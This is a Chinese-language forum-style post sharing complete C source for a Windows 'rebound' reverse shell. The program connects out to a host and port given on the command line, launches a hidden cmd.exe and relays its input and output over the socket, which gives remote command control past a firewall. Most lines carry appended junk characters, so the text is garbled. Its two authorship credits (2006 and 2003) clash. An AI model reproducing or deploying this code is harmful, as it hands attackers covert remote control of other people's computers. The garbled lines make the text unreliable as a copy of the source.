这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 vb~%u;zrC@
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/* ============================== bKS/T^UQ
Rebound port in Windows NT 0e8
By wind,2006/7 3J"`mQ
===============================*/ 6Mc&=}bV
#include KcV"<9rE
#include lD$s, hp
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#pragma comment(lib,"wsock32.lib") 9\!&c<i=
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void OutputShell(); 8
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SOCKET sClient; *I?-A(e
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; bnfeZR1m_
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void main(int argc,char **argv) 2tK~]0x
{ .'M.yE~5J
WSADATA stWsaData; @~2k5pa
int nRet; 15 {^waR6
SOCKADDR_IN stSaiClient,stSaiServer; ;*qXjv&
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if(argc != 3) vltE2mb
{ "#wAGlH6>
printf("Useage:\n\rRebound DestIP DestPort\n"); 2+pw%#fe
return; {@KLN<
} Z6gwAvf<
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WSAStartup(MAKEWORD(2,2),&stWsaData); EO+Ix7w
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eW.qMx#:od
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stSaiClient.sin_family = AF_INET; `GqF/?i
stSaiClient.sin_port = htons(0); K_U`T;Z\
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); X{xkXg8h
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |8}y?kAC
{ AIl`>ac
printf("Bind Socket Failed!\n"); =4q 5KI
return; w:B&8I(n}w
} CPa+?__B
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stSaiServer.sin_family = AF_INET; TH4f"h+B3"
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G AH<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); VKXi*F9
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8u[.s`^
{ br0\O
printf("Connect Error!"); ~ xam ;]2
return; K&._fG
} aU +uPP
OutputShell(); o r ~@!
} LU*mR{B
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void OutputShell() !K_<7iExI\
{ S%]4['Y
char szBuff[1024]; #\F8(lZ
SECURITY_ATTRIBUTES stSecurityAttributes; !b K;/)
OSVERSIONINFO stOsversionInfo; 5-a^Frmg#"
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L) _ VdB
STARTUPINFO stStartupInfo; ] %7m+-h@
char *szShell; oMn'{+(w
PROCESS_INFORMATION stProcessInformation; =*4^Dtp
unsigned long lBytesRead; JKYtBXOl
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ctgH/SU
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /$8& r
stSecurityAttributes.lpSecurityDescriptor = 0; *}r6V"pH~
stSecurityAttributes.bInheritHandle = TRUE; ,^iT,MgNNf
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |c]L]PU
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); l 9rN!Q|
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); IOrYm
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aIfB^M*c5
stStartupInfo.wShowWindow = SW_HIDE; E&vCzQ
stStartupInfo.hStdInput = hReadPipe; @bFl8-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; sYTToanA$?
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GetVersionEx(&stOsversionInfo); =:RNpi,
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switch(stOsversionInfo.dwPlatformId) a'G[!"
{ Z!?T&:
case 1: Yj>\WH
szShell = "command.com"; KC\W6|NtGj
break; B<!wh
default: 3A b_Z
szShell = "cmd.exe"; 7sJGB^vM
break; kb*b|pWlO
} 3V/|" R2s
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); KU0;}GSNX}
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send(sClient,szMsg,77,0); IC. R4-
while(1) .V^h< d{
{ Eid~4a
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )%?SWuS?N
if(lBytesRead) Fo|
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{ %aJ8wYj*
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <C7/b#4>\
send(sClient,szBuff,lBytesRead,0); ?Qh[vcF7`
} FiN B$A
else -Ly A
{ O$&4{h`
lBytesRead=recv(sClient,szBuff,1024,0); htqC~B{1E
if(lBytesRead<=0) break; cNRe >
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K}Pi"Le@W
} N%8aLD
} &uv7`VT
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return; Fm.IRu<\`
}